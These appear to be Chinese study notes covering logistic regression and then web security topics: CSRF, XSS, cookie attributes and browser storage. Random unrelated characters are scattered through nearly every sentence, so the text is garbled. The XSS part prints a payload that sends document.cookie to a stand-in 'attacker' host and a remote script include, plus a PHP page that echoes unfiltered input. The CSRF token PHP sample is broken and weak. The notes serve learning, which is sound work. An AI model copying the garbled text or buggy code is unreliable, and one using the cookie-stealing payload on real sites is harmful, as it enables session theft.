機(jī)器學(xué)習(xí)筆記
multiclass classification
y如果有多個可選值得話那么這就叫做multiclass classification 問題
例如y屬于{0到旦,1戚嗅,2碱茁,3}
對于腫瘤的良性和惡性的分類
使用Threshold classifier
即為:如果大于0.5的話榨了,那么這個預(yù)測值就是y = 1
如果小于等于 0.5的話帖蔓,那么這個預(yù)測值就是y = 0
這不是一個很好的方法丘侠,所以不推薦線性回歸做分類問題
開發(fā)一個新的算法叫做logistic regression邏輯回歸方法
這種算法可以保持
0 <= h(x) <= 1
sigmoid function
logistic function
g(z) = 1/(1 + e^(-z))
z = θTx
hθ(x) = P(y = 1|x;θ) = 1 - P(y = 0|x;θ)
P(y = 0|x;θ) + P(y = 1|x;θ) = 1
Logistic regression
hθ(x) = g(θTx)
g(z)
由邏輯回歸的函數(shù)可以看出茶鉴,如果z大于等于0的時候g(z)是大于等于0.5的
給定一定的訓(xùn)練集合
hθ(x) = g(θ0 + θ1x1 + θ2x2)
如果θTx大于等于0
Decision Boundary(決策邊界)
Non-linear decision boundaries非線性決策邊界
hθ(x) = g(θ0 + θ1x1 + θ2x2 + θ3x1^2 + θ4x2^2)
LogisticRegression Cost Function
Cost(hθ(x(i)), y(i)) = 1/2 (hθ(x(i)) - y(i))^2
Simplified Cost Function and Gradient Descent
Advanced Optimization
One vs All
也稱為One-vs-the Rest 方法來實現(xiàn)多分類,其將多分類問題轉(zhuǎn)化為了多次二分類問題灭返。假定完成 個分類
步驟如下:
- 1.輪流選中一種類型盗迟,將其視為正樣本,即‘1’分類熙含,剩下的都看做是負(fù)樣本罚缕,即‘0’分類。
- 2.訓(xùn)練邏輯回歸模型得到參數(shù)怎静,即總共獲得了 個決策邊界
overfitting
過度擬合的發(fā)生原因是hθ(x)中x采用了太高次的冥
x的次數(shù)越高邮弹,擬合的越好,但是相應(yīng)的預(yù)測能力就會變差蚓聘。如果我們發(fā)現(xiàn)了過度擬合腌乡,我嗎應(yīng)該如何處理
英文詞語
- asymptotes 收斂
web前端黑客攻擊
CSRF攻擊
全稱:Cross-site request forgery 跨域請求偽造物
示例:攻擊者在其他的某個網(wǎng)站頁面中加入
<img \s\r\c="balahbalah">
,然后把這個資源發(fā)送給管理員夜牡∮肱Γ總之就是利用管理員做攻擊者沒有權(quán)限做的事情。
防御方式:
- 對referrer屬性進(jìn)行篩除
- 增加token驗證
//后端內(nèi)容
<?php
session_start();
function set_token() {
$_SESSION['token'] = md5(time() + rand(1,1000));
}
function check_token() {
if (isset($_POST['token']) && $_POST['token' === $_SESSION['token']) {
return true
} else {
return false
}
}
if (isset($_SESSION['token'])&&check_token()) {
echo 'sucess'
} else {
echo 'false'
}
?>
- 驗證碼驗證:在敏感操作頁面才需要添加驗證碼這一環(huán)節(jié)
Excess XSS 閱讀筆記
1.惡意的javascript
首先塘装,在受害者的瀏覽器中執(zhí)行JavaScript的能力似乎并不是特別惡毒急迂。畢竟,JavaScript在非常有限的環(huán)境中運行蹦肴,對用戶的文件和操作系統(tǒng)的訪問非常有限僚碎。事實上,您現(xiàn)在可以打開瀏覽器的JavaScript控制臺并執(zhí)行所需的任何JavaScript冗尤,而且您不太可能對計算機(jī)造成任何損害听盖。
但是胀溺,當(dāng)您考慮以下事實時,JavaScript的惡意性變得更加清晰:
- 可以訪問用戶的敏感信息皆看,例如Cookie仓坞。
- 可以通過使用XMLHttpRequest和其他主機(jī)將任意的內(nèi)容的HTTP請求發(fā)送到任意的目的
- 使用DOM操作方法對html進(jìn)行任意的修改
后果
- cookie盜竊
- 鍵盤記錄:使用鍵盤事件監(jiān)聽器注冊addEventListener,然后將所有用戶的按鍵發(fā)送到服務(wù)器
- 網(wǎng)站釣魚
實例(示例攻擊場景)
注釋:window.location:返回一個具有當(dāng)前文檔的位置的信息的
Location
對象腰吟∥薨#可以通過對location對象賦值直接改變當(dāng)前文檔的位置
攻擊者通過xss咯東來竊取受害者的cookies∶停可以通過讓受害者的瀏覽器解析一下的HTML代碼:
<script>
window.location = 'http://attacker/?cookie='+ document.cookie
</script>
漏洞防護(hù)
- 特殊字符的HTML實體轉(zhuǎn)碼
- 標(biāo)簽事件屬性的黑白名單
CSRF:跨站請求偽造
效果:借用目標(biāo)用戶的權(quán)限做一些借刀殺人的事情
Cookie重要的字段
[name][value][domain][expires][httponly][secure]
名稱嫉称,值,所屬域名灵疮,所屬相對路徑织阅,過期時間,是否有Httponly標(biāo)簽震捣,是否有secure標(biāo)簽荔棉。
HttpOnly Cookie 機(jī)制
Secure Cookie 機(jī)制
指設(shè)置了Secure標(biāo)志的Cookie僅在HTTPS層面上安全傳輸,如果請求是http的蒿赢,就不會帶上這個Cookie润樱,這樣能夠降低重要的cookie被中間人接貨的風(fēng)險。document.cookie="test_secure=hijack;path=/;secure;"
-
本地Cookie 與內(nèi)存 Cookie
- 如果沒有設(shè)置過期時間羡棵,就是內(nèi)存Cookie壹若,會隨著瀏覽器的關(guān)閉而從內(nèi)存中消失;
- 設(shè)置了過期時間皂冰,Cookie會以文本的形式保存在操作系統(tǒng)本地店展,待過期了才會消失。
攻擊者可以給內(nèi)存的Cookie加一個過期的時間灼擂,使其變?yōu)楸镜氐腃ookie壁查。用戶賬戶是否安全與服務(wù)端校驗有關(guān)觉至,包括中藥的Cookie的唯一性(是否可預(yù)測)剔应,完整性(是否被篡改),過期等校驗语御。
- 復(fù)雜的P3P(Cookie的P3P性質(zhì)) 僅僅IE執(zhí)行了該策略
用于標(biāo)識是否允許 目標(biāo)網(wǎng)站的Cookie 被另外一個域通過加載 目標(biāo)網(wǎng)站 而設(shè)置或發(fā)送
例子:evil域(目標(biāo)網(wǎng)站)通過script或iframe等方式加載foo域(第三方域)峻贮,加載的時候,瀏覽器是否會容許foo域設(shè)置自己的Cookie应闯,或是否容許發(fā)送請求到foo域時纤控,帶上foo域已有的Cookie。
- 設(shè)置Cookie
- 發(fā)送Cookie
- 最佳實踐
本地存儲
- Cookie:
- UserData: IE only
- localStorage:H5新增碉纺,如果僅僅存儲在內(nèi)存中船万,則是sessionStorage刻撒。Chrome是SQLite。localStorage并不會像Cookie那樣設(shè)置數(shù)據(jù)存活的時限耿导。也就是說声怔,只要用戶不主動刪除,localStorage儲存的數(shù)據(jù)將會永遠(yuǎn)的存在舱呻。
- local Database:瀏覽器本地DB醋火,是sqlite
- Flash Cookie:Flash的本地共享對象,是跨瀏覽器的通用解決方案箱吕,
Javascript 函數(shù)劫持
- 對目標(biāo)的函數(shù)觸發(fā)之前芥驳,重寫這個函數(shù)即可。
CSS
CSS容錯性
XSS
概述
全稱是:Cross Site Scripting茬高,跨站腳本兆旬。重點在腳本≡踉裕跨站實際上就是XSS攻擊嵌入了一段遠(yuǎn)程的或者第三方域上的腳本資源爵憎。
<script src="http://www.assailant.com/xss.js"></script>
XSS 的分類
- 反射型XSS(非持久型XSS):簡單的說,就是用戶的信息提交到服務(wù)器婚瓜,服務(wù)器解析后返回相應(yīng)的內(nèi)容宝鼓,在相應(yīng)內(nèi)容的時候惡意代碼被嵌入到頁面,最后被瀏覽器解析執(zhí)行巴刻。代碼通過服務(wù)器響應(yīng)直接在本地執(zhí)行的愚铡,特點為一次性觸發(fā),所以稱為反射型XSS胡陪。
- 存儲型XSS(持久型XSS):攻擊者通過注入惡意代碼到服務(wù)端沥寥,其他用戶瀏覽該頁面時,惡意代碼被原樣輸出客戶端柠座,觸發(fā)惡意代碼邑雅,因為惡意代碼可以持久地保存在服務(wù)端,因而稱為存儲型XSS妈经。
- DOM XSS:它和反射型XSS淮野、存儲型XSS的差別在于,DOM XSS的XSS代碼并不需要服務(wù)器解析響應(yīng)的直接參與吹泡,觸發(fā)XSS靠的就是瀏覽器端的DOM解析骤星,可以認(rèn)為完全是客戶端的事情。
- 步驟:
demo
下面是一個簡單的demo爆哑,這里有一個簡單的表單提交頁面洞难,提交后,服務(wù)器返回所提交的表單信息揭朝。(form.html為表單頁面队贱,check.php為服務(wù)器處理程序)
<!-- form.html -->
<!DOCTYPE html>
<html>
<head>
<title>XSS Test</title>
</head>
<body>
<center>
<form method="POST" action="check.php">
姓名:<input type="text" name="name" /><br/>
年齡:<input type="text" name="age" /><br/>
性別:<input type="text" name="sex" /><br/>
<input type="submit" name="submit" value="提交" />
</form>
</center>
</body>
</html>
//check.php
<?php
$name = $_POST['name'];
$age = $_POST['age'];
$sex = $_POST['sex'];
echo "<center>
您提交的信息如下:<br/>
姓名:$name<br/>
年齡:$age<br/>
性別:$sex<br/></center>";
?>
如果我們把姓名中添加惡意代碼
<script>alert("code in here")</script>
那么這一段代碼就會被執(zhí)行色冀。
出現(xiàn)該漏洞是由于服務(wù)器端沒有對用戶的輸入進(jìn)行任何過濾就將其返回給用戶,導(dǎo)致攻擊者可以插入任意腳本反射執(zhí)行柱嫌,雖然反射型好像只能用來自娛自樂呐伞,但是在大型的網(wǎng)站中,還是不能夠輕易忽視的慎式。
學(xué)習(xí)了一下Mac抓包神奇charles伶氢,但是在關(guān)閉電腦之前一定記得要stop recording,否則下次就別想打開電腦了瘪吏。
charles中文教程
替換回車換行符號
var content = xhr.responseText.replace(/\r|\n/g,'').match(/<pre>(.+)<\/pre>/);
分享:界面操作劫持
1.分類
- 點擊劫持:劫持用戶鼠標(biāo)點擊操作癣防,